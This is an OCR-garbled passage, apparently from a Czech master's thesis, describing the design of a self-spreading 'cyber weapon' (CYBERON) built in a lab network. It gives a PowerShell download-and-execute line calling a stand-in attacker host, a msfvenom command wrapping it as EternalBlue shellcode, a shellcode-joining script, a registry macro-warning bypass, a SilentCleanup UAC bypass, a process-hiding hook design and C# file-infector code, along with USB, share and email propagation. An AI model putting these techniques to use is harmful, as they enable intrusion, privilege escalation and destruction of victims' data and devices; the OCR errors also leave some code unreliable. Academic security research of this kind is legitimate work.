tiSe sirit, bez toho, aby zpiisobila néjakou skodu. Hlavni ¢asti celé zbrané je tedy umét se sirit
v libovolném prostiedi. V této praci se predpoklada, Ze se jedna o korporatni sif, kterd vyuziva
aktudlni systém Windows s maximéalni bezpecnosti fizeni uzivatelskych Guc¢tu. V siti se nachazi

nékolik sdilenych diskt, ke kterym pristupuji jednotlivi uzivatelé.

6.3 Testovaci prostredi

Protoze vytvorena kybernetickd zbran disponuje nékolika moznostmi propagace, bylo nutné

vytvorit testovaci prostfedi, které bude simulovat redlnou sit. Za timto dcelem jsem vytvoril
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nékolik virtudlnich stroji, které byly pripojeny do jedné siti. Aby byl zajistén pfistup k internetu,
veskery provoz byl propagovan pres smérovac, ktery byl v tomto pripadé simulovan Linuxovou

distribuci pfSense, kterd povolovala pouze provoz, ktery neni skodlivy pro nasi vnitini sit.

Obrazek 3: Schéma, zapojeni testovaciho prostredi
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Toto prostiedi je velmi dilezité, jelikoz pri spusténi malwaru dojde k automatické infekci
nejen lokdlnich souboru, ale také infekce soubort, které jsou dostupné v siti. Pii nechténém
spusténi na lokalni stanici mtze dojit i k destrukci soubort, ¢i znemoznéni znovuspusténi celého

pocitace.

6.4 Prvotni infekce

Kybernetickou zbran, podobné jako jiny malware, je nejdiive nutné rozsirit na zarizenich, na
kterych bude mit moznost spoustét skodlivy kéd. Pro prvotni propagaci kybernetické zbrané
je vyuzit Word dokument, ve kterém je zakomponovan skript, ktery se provede ihned, jakmile
uzivatel povoli makra. Cilem bylo vytvorit skript, ktery bude obfuskovin a nebude snadno
detekovan pomoci antivirovych nastroji. Jednoduchy skript vyuziva PowerShell, ktery stahne
z dostupného serveru kybernetickou zbran. Infekce probiha velmi rychle a je velmi tézké, az
nemozné ji zastavit. To hlavné z divodu, ze konzolova aplikace je skrytd a soubor se uklada do
slozky, ke které mé pristup i uzivatel bez zvyseného opravnéni.

Po blizsim zkoumaéni jsem zjistil, Ze infikovany soubor je stale detekovatelny antivirovym

softwarem. Aby se zamezilo detekci, byl kéd obfuskovan nékolika metodami, avSak netspésné.
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Nékteré antivirové programy detekuji spusténi powershellu a automaticky cely proces zrusi. Aby
uzivatel nemohl ruéné smazat makro z dokumentu bylo vhodné cely dokument uzamknout, aby
uzivatel nemohl ménit jeho obsah. Tuto metodu vSak neni mozné programové provést a je nutné
provést zabezpeceni souboru primo v aplikacich Office, proto je uzamknuti dokumentu soucésti

pouze prvni propagace.

6.5 Metody Sireni

vvvvvv

v

kyberneticka zbran vice moznostmi siteni. Tyto moznosti budou popsany v kapitole 6.5.1. Pro-
pagacni metoda se v tomto pripadé stara o nalezeni souborti, které mohou byt pozdéji urceny k

infekei ¢i destrukei.

6.5.1 Propagace v lokalnich souborech

Hlavnim duvodem vyuziti tohoto Sifeni je, ze uzivatel pro béznou praci vyuziva spustitelné sou-
bory. V pripadé, ze dojde k preinstalovani pocitace, ¢i presunuti souboru na jiné zatizeni, pomuize
nam tato metoda znovu infikovat dané zatizeni. V piipadé presunuti souboru na jiné zarizeni za
pomoci USB flash paméti. Z tohoto duvodu je soucasti kybernetické zbrané vyuzito Sifeni i v
lokalnich souborech. Dulezitym faktorem je zde vybrat soubory, které uzivatel pouziva. Je zcela
zbytecné infikovat standardni soubory ve Windows, které by poté mohly odhalit nas malware.
Pro nalezeni takovychto soubori jsem vyuzil funkci UserAssist, kterd je soucasti systému Win-
dows. UserAssist je soucast registru celého systému a zaznamenéava informace o spustitelnych
souborech, ale také si uchovava informaci, jak casto byl takovyto soubor spustén z prohlizece
souboru. Pokud se tedy jedna o aplikaci, ktera je spousténa pomoci piikazové fadky, nebude
tato aplikace v tomto seznamu zaznamenavéana. Informace z registru obsahujici UserAssist vSak
nejsou c¢itelné a jsou zakdédovany. Pro ziskani platného nazvu je nutné hodnoty registru deké-
dovat pomoci Caesarovy sifry nad anglickou abecedou bez mezery s pevnym posunem 13 pozic.
Jednd se o jednoduchou substituéni sifru, ktera nahrazuje pismeno, jinym pismenem posunutym
o urcity pocet znakt, v nasem pripadé o 13 znakti. Na obrazku ¢. 4 je vyobrazen jeden z piikladt
pouziti této Sifry pro dekddovani cesty.

Jeden z problémi, ktery miize nastat je také ten, ze cesty obsahuji specidlni zname identifika-
tory GUID, které musime nahradit. Tyto znadmé identifikatory nerozlisuji mala a velkd pismena a
jsou soucdsti knihoven Windows, definované v souboru KnownFolders.h [15]. Programovaci ja-
zyky proto c¢asto podporuji preklad téchto GUID identifikatort na specifickou slozku. Napiiklad
identifikdtor {B4BFCC3A-DB2C-424C-B029-7FE99A87C641} sméruje u kazdého pocitace na jeho
plochu prihlaseného uzivatele. Pro ziskani cest je nutné tyto identifikatory prepsat na absolutni

cesty.
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Obrazek 4: Ukéazka dekdédovani pomoci Caesarovy Sifry
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6.5.2 Propagace pomoci sdilenych diski

Dalsi moznosti jak ziskat seznam soubori, které uzivatel pouziva jsou sdilené sitové slozky. V
korporatni siti se predpoklada, ze uzivatelé pracuji s daty, které jsou uloZena pravé na takovychto

discich. Pro fungovani této metody musi byt splnény minimalné nize uvedené podminky.
1. Musi byt povoleno sdileni souborti
2. Musi byt v siti, které davéruje, idedlné také ve skupiné nebo stejné doméné.
3. Nesmi byt v siti firewall, ktery by zakazoval SMB protokol

Pokud jsou vyse zminéné podminky splnény, miizeme prejit k samotné propagaci. Vzhledem
k ¢im dal vétsimu zaméreni na zabezpeceni, nedisponuji moderni vysoko-iiroviiové programovaci
jazyky zadnou metodou, kterd by dokéazala jednoduse detekovat vsechna zafizeni, které maji
povolené sdileni souborii. Poté je nutné vyuzit knihovnu Netapi32, ke které mtizeme pristupovat
skrz Windows API.

Nejdrive je nutné detekovat vSechna zafizeni, ktera maji povolené sdileni. Pro tento ucel je
vhodné pouzit z Windows API funkci NetServerEnum. Tato funkce ndm vrati seznam zafizend,
které jsou v siti dostupné. Tyto informace mizeme ddle pouzit i pro ziskani informaci o siti. Na
zalizeni muzeme pozdéji provést dalsi utok, jako je EternalBlue [16]. Jakmile ziskdme dostupna
zafizeni v siti, musime dale ziskat vsechny jeho sdilené a dostupné slozky. V tomto pripadé je
nutné vyuzit funkci NetShareEnum, kterd je také dostupna v Windows API. Tato funkce nam
vrati vSechny dostupné sdileni, které jsou na zarizeni dostupné. Je tedy potieba pocitat, ze
nemusime dostat pouze sdilené slozky, ale také sdilené tiskarny, ¢i specidlni Administratorské
slozky, které jsou skryté a nemtzeme k nim jako neautorizovany uzivatel pristupovat. Jedna se
prevazné o slozky C$, IPC$, admin$. Tyto slozky je nutné z vybéru smazat. Tyto specidlni nazvy,
neni lehké vyloucit hlavné z dtivodu, ze se ndzvy mohou lisit i v zavislosti na systémech. Windows
API disponuje strukturou, ze které je mozné zjistit o jaky typ se jedné. Z tabulky ¢. 7 je mozné
vycist vSsechny mozné kombinace, které muzeme ziskat ze zminéné funkce. Pro ziskani spravnych
cest pro infekci bylo nutné vyfiltrovat pouze sdileni typu DISKTREE bez priznaki SPECIAL.

V pripadé, ze by uzivatel mél sdileny cely disk a mél ho viditelny, mohlo by ziskdvani vsech
soubort trvat velmi dlouho, proto je soucédsti této propagace jesté moznost urceni hloubky

prohledavani.
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Tabulka 7: Typy sdilenych zdroju [17]

Hodnota Popis
DISKTREE (0x00000000) Diskova jednotka
PRINTQ (0x00000001) Tiskova fronta
DEVICE (0x00000002) Komunikac¢ni zatizeni
IPC (0x00000003) Meziprocesorova komunikace
CLUSTER,_FS (0x02000000) Sdileny cluster
CLUSTER_SOFS (0x04000000) Skélovany cluster
CLUSTER_DFS (0x08000000) DF'S sdileni v Clusteru
SPECIAL (0x80000000) Priznak pro specidlni sdileni
TEMPORARY (0x40000000) Ptiznak pro docasné sdileni

6.5.3 Propagace souboru na plose

Tato propagace, jak uz z nazvu napovida, slouzi prevazné pro testovaci tucel. Na plose se u
uzivatele prevazné vyskytuji zastupci, které casto uzivatel nikam nepresouva a vétsinou jsou
uzivatelem casto pouzivany. Nikoliv zastupci, ale soubory na plose mtzou slouzit jako prvni cil,
na ktery byva pouzit destruktivni skodlivy kéd. Zdrojovy kod této propagace nebyl prilis slozity,
je vsak nutné odfiltrovat vysledky. K témto ucelim je zde podpora ziskani soubori predem
urceného typu. Dalsim problémem zde miize byt, podobné jako u propagace pres sit, hloubka

prochazeni, ktera v nékterych ptripadech miize byt velmi dlouha.

6.5.4 Propagace pomoci USB zarizeni

Nedilnou soucést kybernetické zbrané je propagace za pomoci USB zarizeni. Typicky se zamérime
na prenosové média jako jsou USB klicenky a externi prenosné disky, které pro svou komunikaci
s pocitacem vyuzivaji USB rozhrani. I vrchni predstavitel kybernetickych zbrani Stuxnet se
dokéazal sirit za pomoci USB zarizeni a diky této technologie se dokazal dostat do oblasti, do
kterych by se jinak nedostal. Vyuziti této propagace je velmi dilezité a to hlavné z duvodu, ze
se jednd o jedinou moznost, jak napiiklad infikovat zarizeni, kterd nekomunikuji s Internetem.

S pomoci uzivatele je mozné nakazit celou sit, kterd ¢asto nebyva prilis zabezpecena.

6.5.5 Propagace pomoci elektronické posty

V dnesni dobé je elektronickd posta velmi rozsifena. Denné se odesle dle ¢lanku [18] az 293
miliard zprav. Vice nez 30 procent z téchto zprav je oznacCeno, jako nevyzadana posta. Muze
se jednat o klasické phishingové ttoky, az po zpravy, které mohou byt infikované néjakym mal-
warem. Rozhodl jsem se tedy tuto propagac¢ni metodu implementovat také do této kybernetické
zbrané. Ve firmach a velkych organizacich se ¢asto pouzivaji nastroje od spolecnosti Microsoft.
Je to hlavné z duvodi, Ze jednotlivé nastroje a systémy mezi sebou spolupracuji. Tato propa-
gacni metoda tedy bude cilit na software Outlook, ze kterého se bude snazit vydolovat uzitecné

informace z kontaktti. V nasem pripadé se budeme snazit ziskat jméno, piijmeni a e-mailovou
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adresu. Tyto adresy mohou pomoci ¢asti domény identifikovat, kde je kyberneticky zbran ak-
tivni. V nasem piipadé budeme tyto adresy pouzivat pro Sifeni infikovaného dokumentu. Touto
propagaci nam zajisti rozsiteni na dalsi potencionalni obéti. Zprava bude smérovat na adresaty,
které oslovime jménem a veskery obsah bude vypadat jako legitimni. V ramci korporatni sité by

nemeélo dojit k nedoruceni, hlavné z duvodu, Ze se jedna o totoznou doménu.

6.5.6 Zjisténi dostupnych sériovych portu

Pro ukazkovy pripad zajisténi destrukce tiskarny je nutné implementovat propagaci, ktera bude
pouzita pri utoku na fyzické zarizeni. V dnesni dobé vétsina zafizeni disponuje pripojenim pres
USB pievodnik. Zafizeni, které se vyskytuji v primyslu musi byt schopné komunikovat s pocita-
¢em za pomoci sériové rozhrani. Toto zafizeni je mozné zapojit pomoci USB prevodniku, stejné
jako jina zafizeni. Rozdil je v tom, Ze toto zafizeni se ptipoji jako standardni sériova linka, u které
muzeme nastavovat rychlost nebo urcovat, zda-li se jedna o synchronni ¢i asynchronni prenos. V
nasem piipadé se budeme snazit detekovat 3D tiskdrnu, kterda pouziva mikrokontrolér. Vétsina
modernich vysokoturoviiovych programovacich jazykt disponuje praci s takovymto rozhranim.
Jedinym problémem zustava zjistit, zda-li je tiskdrna v provozu, a ktery proces ji pripadné po-
uziva. V systému Windows jsem nenagsel zpusob jakym detekovat, ktery proces vyuziva urcity
sériovy port, a proto bude nutné pocitat s pripadnym ukoncenim procesii, které potencionalné

vyuzivaji tento port, abychom mohli tuto tiskarnu néasledné ovladnout.

6.6 Vyuziti zranitelnosti

Dalsim dilezitym prvkem kybernetické zbrané jsou zranitelnosti. Idealni zranitelnosti, které se
vyuzivaji k vyvoji kybernetické zbrané jsou takové, které jsou doposud nezverejnéné nebo se
o nich prilis nevi. Tato vlastnost zaruci, ze dand zranitelnost nebude opravena a zvysuje se
tim pravdépodobnost dspéchu. Zjistit tyto zranitelnosti je vSak velmi tézké a specializuji se
na né celé tymy. Existuje rada stranek, na kterych jsou takovéto zranitelnosti dostupné véetné
zdrojovych koéda. Byvaji vSak zpoplatnény. Nejlevnéjsi zranitelnost, kterd se vyskytovala ve
vychozim prohlizeci fotek systému Windows u formatu PNG a umoznila spustit aplikaci po
otevieni obrazku stoji 0.33 BTC tedy v prepoc¢tu 2000 USD [19]. V rdmci této diplomové prace

jsem vyuzil zranitelnosti, které jsou jiz znamé a budou popsany v této kapitole.

6.6.1 Vzdalené spusténi strojového kédu

Jako soucast kybernetické zbrané jsem se rozhodl vyuzit zranitelnost, kterd mize byt typicka pii
sifeni kybernetické zbrané. Tato zranitelnost se nazyva EternalBlue [16] s oznac¢enim CVE-2017-0144.
Jedna se o zranitelnost, ktera byla vyvinuta NSA, kde doslo k tiniku téchto dat a naslednému
zverejnéni hackerskou skupinou The Shadow Brokers [20]. Pozdéji byla tato zranitelnost zneuzita
pro sifeni malwaru WannaCry a NotPetya, které 1ze zaradit do kategorie Ransomwaru a jejich

cil je sifrovat soubory a pozadovat vykupné pro jejich obnoveni.
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Tento 1tok je vsak jiz mozné provést jen na starsich a neaktualizovanych systémech. Z tohoto
divodu je také v testovacim prostiedi jeden systém Windows 7, na kterém je tato zranitelnost
testovana. I kdyz v dnesni dobé neni mozné tento itok provést, je zde zahrnut hlavné z divodu
ukazky, jak je jednoduché rozsirit Malware po siti, bez nutnosti jakékoliv interakce s uzivatelem.
V dnesni dobé existuji rtizné alternativy této zranitelnosti, které vyuzivaji stejného protokolu
novéjsi verze. Nejnoveéjsi obdobnd zranitelnost je nalezena u protokolu SMB verze 3, kterd nese
nazev SMBGhost [21] s oznacenim CVE-2020-0796. I tato verze stejné jako ostatni souvisi s
pretecenim zasobniku a nasledné dovoluje spustit utoénikuv kéd na vzdaleném pocitaci.

Jelikoz je celkovy proces této zranitelnost velmi slozity, bude popsan jen zdkladni proces.
Zéakladni funkci je navazani komunikace, jako pri prenosu souboru. Musi byt povolené sdileni
v siti. Nédsledné se provede alokace paméti o kterou se stard funkce Srv0S2FeaListSizeToNt,
ktera se nachézi ptimo v jadru opera¢niho systému. Poté dochazi ke konverzi OS/2 FEA stuktury
do NT FEA struktury, ktera je zde hlavné z divodu zachovani kompatibility.

Pri této konverzi vSak tto¢nik dokéze posunout ukazatel ve vyrovnavaci paméti na misto,
které potrebuje. Nasledné se tento ukazatel a data na ktera ukazuje, pfesunou na misto v
paméti, které je spustitelné. Zneuziti této zranitelnosti neni nikdy jisté. V nékterych ptipadech
miize zpusobit i pad celého systému. Pokud se vsSak vse podari, dojde k spusténi procesu v
kernel-modu a proces tedy pobézi s nejvyssim opravnénim.

Data, kterd chceme spustit v paméti musi byt ve strojovém kédu. Pro vytvoreni takovéhoto
strojového kodu je mozné napsat cely program v jazyce Assembler. Je vsak nutné pocitat s
riznymi architekturami a mit dostupnou verzi pro 32 i 64bitové procesory. V tomto pripadé
jsem se rozhodl vygenerovat strojovy kéd za pomoci programu msfvenom [22].

Nejdiive bylo nutné vytvorit jednoduchy skript. Tento skript zajisti stazeni naseho souboru
a poté jej spusti. Skript by mél byt spustitelny z prikazové radky nepozorované, proto je tato

¢ast psana v skriptovacim jazyku PowerShell.

& { (New-Object Net.WebClient).DownloadFile( ’http://utocnik.t1d/CYBERON.exe’ ,
>C:\WINDOWS\CYBERON.exe’)}; &{ Start-Process C:\WINDOWS\CYBERON.exe }

Vypis 1: Jednoduchy skript pro stazeni a spusténi souboru

Tento skript nasledné pouzijeme pro vygenerovani strojového kédu za pomoci programu

msfvenom.

msfvenom -p windows/exec -f raw -o sc_x86_msf.bin EXITFUNC=thread CMD="
powershell -command & { (New-Object Net.WebClient).DownloadFile( ’http://
utocnik.t1ld/CYBERON.exe’ , ’C:\WINDOWS\CYBERON.exe’)}; &{ Start-Process C:\
WINDOWS\CYBERON.exe }"

Vypis 2: Piikazy pro vygenerovani strojového kédu

Tento prikaz ndm vytvori strojovy kod, ktery néasledné spusti vytvoreny skript. Je nutné

jesté vytvorit verzi pro 64bitovou architekturu, vymeénénim parametru p na windows/x64/exec.
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Tyto vygenerované soubory nasledné musime spojit se strojovym koédem, ktery je napsany v
Assembleru a slouzi pravé pro alokaci paméti a detekce architektury. Po spusténi souboru dojde
k pretecené zasobniku a prepsiani paméti a nasledné i ke spusténi naseho strojového kodu.

Jednotlivé strojové instrukce mizeme spojit pomoci libovolného nastroje, ktery umi pracovat
s bindrnimi daty. V mém ptipadé jsem pouzil jednoduchy skript v pythonu. Na zac¢atek strojového
kédu je potteba pridat pouze strojovou instrukci JZ, kterd je ve strojovém kédu zakédovana jako

0xOF, 0x84 a stara se o spusténi spravné c¢asti strojového kodu.

sc_x86 = open(’final_shellcode_x86.bin’, ’rb’).read()
sc_x64 = open(’final_shellcode_x64.bin’, ’rb’).read()

fp = open(’final_shellcode_all.bin’, ’wb’)
fp.write(?\x31\xc0\x40\x0f\x84 ’+pack(’<I’, len(sc_x86)))
fp.write(sc_x86)

fp.write(sc_x64)

fp.close()

Vypis 3: Ukazka spojeni strojovych kédu

Timto ziskdme koncovy strojovy kdéd, tedy binarni data, kterda budeme zasilat na pocitac
v siti. Jelikoz je tato zranitelnost jiz opravena, neni piimo soucéasti kybernetické zbrané, ale ma
moznost tento utok provést v pripadé, ze méa pristup k internetu. Aby se zbytecné nezvysovala
velikost pro dalsi propagac¢ni metody, ma tato kybernetickd zbran moznost si pro tento zptisob
utoku stahnout vSechna potrebnd data a Utok provést. Vysledek takovéhoto titoku pak je bézici

kyberneticka zbran jako systémovy proces.

6.6.2 Povoleni maker bez potvrzeni

Dalsi zranitelnost, kterou tento malware vyuziva se neda Uplné nazvat zranitelnosti, ale dokaze
v pocitaci povolit akce, na které by mél byt uzivatel alespon upozornén. Velkou vyhodou je, ze
je mozné zranitelnost vyuzit i v pripadé, ze uzivatel nemé moznost zvysit své opravnéni. Cil této
zranitelnosti je povoleni maker, aby uzivatel nebyl upozornén, ze se v tomto dokumentu nachézi
makro. Dalsim diavodem je, ze diky této chybé muzeme do libovolného dokumentu pridavat
makra primo z naseho malwaru. Nejdrive je nutné detekovat aktudlni verzi Office, kterou zjistime
z registru HKEY_CLASSES_ROOT\Word.Application\CurVer. Tento registr ndm také ovéri, ze je
na cilovém pocitac¢i dostupny Word. Nésledné do registru Software\Microsoft\Office\Nase
verze\Security vlozime novy kli¢ AccessVBOM s datovym typem DWord a hodnotou 1. Po
uspésném ulozeni jiz je mozné ménit standardni dokumenty a pridavat do nich nas skodlivy

kod.
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dwm,exe Admin (iy] 328K Desktop ...
explorer.exe Admin 0o 21,004 K Windows ...
GoogleUpdate,., SYSTEM ag 108 K Google In...
|sass.exe SYSTEM a0 2,220K  Local Sec...
lem.exe SYSTEM iy} 943 K Local Ses...
MSCOrsyw. exe SYSTEM ala} 1,940K .MET Run...
MSCorsyw.ex... SYSTEM la} 1,692k .MNET Run...
SearchFilterH... SYSTEM 0o 1,224K  Microsoft ...
Searchlndexe,.. SYSTEM a0 4,680K Microsoft ...
SearchProtoc...  SYSTEM a0 512K Micosoft... -

[#] Show processes from all uzers

Processes: 46 CPU Usage: 100% Physical Memory: 92%

Obrazek 5: Ukézka spravce 1loh v napadeném systému pomoci EternalBlue.

6.6.3 ZvysSeni opravnéni

Pokud je to jen mozné, chceme, aby nas malware mohl bézet s nejvyse moznym opravnénim.
Od novéjsi verze operacniho systému Windows je dostupna vlastnost UAC (User Account Con-
trol). Tento ndstroj slouzi pro fizeni uzivatelskych uctu. Kazdy uzivatel se snazi nemit zadné
zvysené opravnéni a tyto opravnéni si pouze vyzadovat v pripadé, ze je potiebuje. Ve vétsiné
pripadi je k této akci také vyzvan uzivatel, ktery pomoci dialogového okna musi tuto akci po-
tvrdit. Pokud tuto kybernetickou zbran spustime, je témér jisté, ze se spusti se standardnim
opravnénim. Rizeni uzivatelskych G¢tu ma 4 trovné. I standardni nastaveni vyzaduje potvr-
zeni instalace. Vétsina zkusenych uzivatelii nastavuji toto zabezpeceni na nejvyssi troven. V
pripadé firemnich pocitaci, se nastaveni UAC dédi z doménové politiky, kde byva nastavena
také nejvyssi troven. I v tomto pripadé existuje spousta moznosti, jak toto nastaveni obejit.
V nasem piipadé vyuzijeme zranitelnost pres planované tlohy. Kazdy pocitac ma standardné
nastavené tlohy, které se spousti automaticky dle potreby opera¢niho systému. Téchto tloh,
které si systém sam vytvori byva opravdu mnoho. Jedna velice zndAmé naplanovana tlohou je
tiché ¢isténi disku (obrazek ¢. 6). Tuto tlohu muzeme najit v kazdém pocitaci ve struktute pod
\Microsoft\Windows\DiskCleanup.

Tato tloha vypadd naprosto v poradku a také tak funguje. Problémem je, ze spousti proces
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(% SilentCleanup Properties (Local Computer) *

Triggers Actions Conditions Settings  History (disabled)

Mame: SilentCleanup

Location: ‘\Micresoft\Windows\DiskCleanup

Author Microsoft Corporation

Description: | Maintenance task used by the systemn to launch a silent auto disk cleanup when running low on
free disk space.

Security options

When running the task, use the following user account:
BUILTIN'Users Change User or Group...

Bun only when user is logged on
Run whether user is logged on or not

Do not store password. The task will only have access to local computer resources.

Run with highest privileges

[J Hidden Configure for. | Windows 10 v

Obréazek 6: Ukéazka nastaveni planované tlohy

se zvysSenym opravnénim a uzivatel o tomto neni ani informovan. V urcitych pripadech by toto

nemuselo byt zadnym problém, ale tato tlohy ma za cil spustit nédsledujici akci.

%windir%\system32\cleanmgr.exe /autoclean /d Y%systemdrive,

Vypis 4: Volani akce z planované tlohy

Problémem ve volani tohoto programu je pouzivani proménnych vyuzivanych v prostredi.
Tyto proménné muze uzivatel pro sebe zménit bez zvyseného opravnéni a staci mu k tomu pristup
ke svym registrum. Cilem je tedy proménou %windir% zménit v nas prospéch, a to za prikaz,
ktery spusti prikazovy radek, ktery bude minimalizovan, aby co nejméné upozornil uzivatele.
Proménnd muze vypadat néjak takto ,cmd.exe /c start /min Cesta k naSemu malwaru &
exit &"

Po nastaveni této hodnoty a spusténi tilohy pro zahajeni ¢isténi disku se vykona tato akce
a tedy dojde ke spusténi nasi kybernetické zbrané se zvysenym opravnénim. Spusténi jiz napla-
nované ulohy nevyzaduje zadné dalsi zvySené opravnéni. Po Uspésném spusténi je vsak nutné
zpatky smazat hodnotu %windir’, z registru. Tato moznost vsak neni dostupnd ve Windows 7
a to z divodu, zZe operacni systém Windows 7 nedisponuje touto tlohou. Pro tento systém vsak

existuji jiné metody, které dokazou UAC obejit.
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6.6.4 Skryti procesu

Abychom predesli odhaleni kybernetické zbrané, bylo by vhodné implementovat funkcionalitu,
kterou vétsinou disponuji malware, které kategorizujeme jako rootkit. Tato funkcionalita spo-
¢iva v injektazi knihovny do vsech procesii. Tuto moznost lze pouzit pouze, pokud je na pocitaci
vypnuta funkce Secure boot. Secure boot je vlastnost standardu UEFI(Unified Extensible Fir-
mware Interface), kterd nahrazuje BIOS. Pokud mé nase obéf tuto funkci vypnutou, muzeme
vyuzit injektdz knihovny, kterd umozni skryti naseho procesu ve vsech spravcich, které dovoluji
zobrazovat procesy.

Prvotnim krokem je vytvoreni samotné knihovny. Tuto knihovnu je nutné napsat v progra-
movacim jazyce, ktery neni zavisly na nékterém z frameworku. Z tohoto divodu tato ¢ast neni
psand v C#, ale v jazyce C++. V opac¢ném pripadé by pri injektazi knihovny, ktera je zavisla
na .NET Frameworku mohla zptisobit pad celé aplikace, ktera touto komponentou nedisponuje.

V nasem pripadé pouzijeme pro vyvoj knihovnu MinHook. Tato knihovna je volné dostupna a
uleh¢i programatorovi vytvorit hacek, ktery se zachyti pri volani procesu. Zamérime se na funkci
NtQuerySystemInformation z knihovny ntdl1l.d11. Tato funkce se stard o ziskévani specific-
kych systémovych informaci. Pokud se jakakoliv aplikace pokusi ziskat informace o systému,
zachyti se 0 nas vytvoreny hacek. Néasledné se spusti funkce, kde se ovéri zda-li se aplikace snazi
ziskat informaci o bézicich procesech a nas predem urceny proces ze seznamu vymazeme. Funkce

NtQuerySystemInformation pracuje se strukturou, kterd je vyobrazena nize.

NextEntryOffset | NumberOfThreads Reserved
4 bajty 4 bajty 3x8 bajtl
CreateTime UserTime KernelTime
8 bajtd 8 bajtd 8 bajtd
ImageName BasePriority UniqueProcessld InheritedFromUnigProcld
Ukazatel 4 bajty Ukazatel Ukazatel

Obréazek 7: Struktura obsahujici informace o procesech a vlaknech

Struktura na obrazku ¢. 7 funguje jako zfetézeny seznam a miizeme tedy prochazet jednotlivé
procesy pomoci ukazateli. Hlavnim principem je zkontrolovat proménnou ImageName, kterd
obsahuje nazev procesu. Pokud nazev procesu souhlasi s nasim preddefinovanym nazvem, dojde
ke zméné a hodnota NextEntryOffset se navysi o Offset procesu, ktery chceme skryt a dojde
tak k vyjmuti jednoho prvku. Jakmile se vSechny potfebné procesy vyjmou, vraci se ndvratova
hodnota NTSTATUS, konkrétné hodnotu NT_SUCCESS, kterd znaci tispéch.

6.7 Skodliva &ast
Hlavni a nejdilezitéjsi ¢ast je payload. Bez této ¢asti by malware neobsahovat skodlivou ¢ast

a tedy by se stal neiucinny. V pripadé kybernetické zbrané je tato ¢ast specifickd a cilena na
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destrukci dat, pripadné na zniceni fyzickych zarizenich.

Tato kybernetickd zbran disponuje nékolika moznostmi payloadu, které jsou podptrnou sou-
¢asti pro siteni nasi kybernetické zbrané. Dale vsak obsahuje nékolik moznosti pro destrukci
soubort, ¢i celého pocitace. Pokud je k pocitac¢i pripojena 3D tiskarna disponuje tato kyber-
netické zbran funkci, kterd dokaze pripojenou 3D tiskdrnu ovladnout. VsSechny tyto moznosti

budou popsany v néasledujici kapitole.

6.7.1 Paylad pro pripojeni souboru

Tato cast slouzi na podporu propagacni metody pro sifeni. Tato funkce spociva v pripojeni
binarnich dat ptvodniho programu k nasi kybernetické zbrani. Fungovani této metody mutzeme

popsat obrazkem ¢. 8

PGvodni program Kyberneticka zbran Infikovany soubor
Entry Point —» Entry Point —»
Program Program Program
Program

Obrazek 8: Zptsob infekce pomoci pripojeni binarnich dat

V pripadé, ze velikost aktudlniho souboru je vétsi nez nase kybernetickd zbran, vime, ze
obsahuje i ptivodni program, ktery spustime. Na obrazku ¢. 9 lze vidét fungovani pameéti. Pred
spusténim je nutné pro puvodni program alokovat potfebnou pamét, prekopirovat obsah pro-
gramu a poté ho spustit. V jazyce C# je tato funkce zastoupena pomoci reflexe, kdy mtzeme
nacist bindrni data, ve kterych najdeme EntryPoint, tedy ukazatel, ktery slouzi ke spusténi

programu.

byte[]l hostProgram = File.ReadAllBytes(actualPath).Skip(VirusLength).ToArray();
Assembly AssemblyhostProgram = Assembly.Load(hostProgram);

MethodInfo method = AssemblyhostProgram.EntryPoint;

object o = AssemblyhostProgram.Createlnstance(method.Name);

method.Invoke(o, null);

Vypis 5: Ukéazka reflexe a spusténi programu

Uzivatel tedy nepoznd, zZe je tento soubor infikovan a nevytvari se v systému ziadné po-

mocné soubory. Nedojde tedy k upozornéni uzivatele, ze je néco v neporadku. Aby se predeslo
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Pamét

Kyberneticka zbran PUvodni program

w& Adresa pro spusténi
K Entry Point pro sp !

nového procesu

Obrazek 9: Ukéazka paméti po spusténi kybernetické zbrané a alokace paméti pro ptivodni pro-
gram

infekci stejného souboru je nutné nas infikovany soubor néjakym zpusobem oznacit. Kazdy spus-
titelny soubor za¢ina hlavickou MS-DOS, kterou nazyvame MS-DOS stub. Jedna se o ¢ast kodu,
ktera uzivatele informuje s hlaskou , This program cannot be run in DOS mode.“, a tedy, ze
tento program neni spustitelny v systému MS-DOS. Tato ¢ast je v souboru pouze pro zpétnou
kompatibilitu a pokud uzivatel spusti program v systému Windows, tato ¢ast se preskakuje. Pro
jednoduchou identifikaci maji prvni dva bajty souboru hexadecimélni hodnotu 0x4D, 0x5A, ktera
v ASCII predstavuji znaky MZ. Pro identifikaci infikovaného souboru byl zvolen zptsob, ktery
hlasku mirné poupravi. Posledni znak ,,.“ hexadecimalné 0x2E zménime na ., hexadecimalné
0x2C. Pokud se uzivatel preci jen k hlasce dostane, neméla by vzbudit velkou pozornost. Béhem
experimentu se naskytl soubor HxD, ktery obsahuje informaci ,, This program must be run under
Win64“ a tedy antivirové programy tuto hlasku zrejmé nekontroluji. Je nutné také zdiraznit,

ze tento typ infekce je mozny pouze na souborech, které lze spustit.

6.7.2 Payload pro infekci za pomoci kompilace

Tento druh payloadu je také zaméfen na infekci. Obsahuje dvé moznosti a kazda z nich ma své
vyhody a nevyhody. Obé vsak funguji na bazi zkompilovani malého programu, ktery nédsledné
zajisti jak spusténi kybernetické zbrané, tak pivodniho souboru. Tento zptisob infekce je vhodné
pouzit na libovolny soubor a nemusi se nutné jednat o spustitelny soubor. Tato funkce je uzitecna
pro infekci USB flash diskii ¢i prenosnych diski.

Hlavni ¢ast této funkcionality je kompilator. V prvnim kroku si ze souboru, ktery se sna-
zime infikovat ulozi ikonku, kterd bude pozdéji pouzita pri kompilaci naseho program. K tomuto
ucelu ndm slouzi knihovna IconLib, ktera je dostupna v programovacim jazyku C#. Tuto ikonku
si ulozime do predem vytvorené slozky. Aby tato slozka nebyla lehce vyhledatelna je vytvo-
fena nejenom jako skrytd, ale také ma specidlni priznak pro systémové soubory. Abychom tyto
soubory vidéli, nestaci mit pouze povolené zobrazeni skrytych soubori, ale také povoleni zob-

razovani systémovych slozek a souborti. Toto nastaveni je dostupné v nastaveni ,Moznostech
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slozky“ (obrézek ¢. 10). Zobrazeni téchto souboru je doprovazeno dialogem s informaci, ze tprava

nebo mazani téchto soubort, mize zpusobit nefunkénost systému.

General View  Search

I You have chosen to display protected operating system files (files labeled System and Hidden)
: in File Explorer.

These files are required to start and run Windows, Deleting or editing them can make your
computer inoperable,
Are you sure you want to display these files?

Yes

() Dont show hidden files, folders, or drives
(®) Show hidden files, folders, and drives
Hide empty drives
Hide extensions for known file types
Hide folder menge conflicts
Hide protected operating system files (Recommended)
] Launch folder windows in a separate process
] Restore previous folder windows at logon v

Restare Defaults

oK Cancel Apply
Obrazek 10: Zobrazeni systémovych slozek a doprovazejici dialog

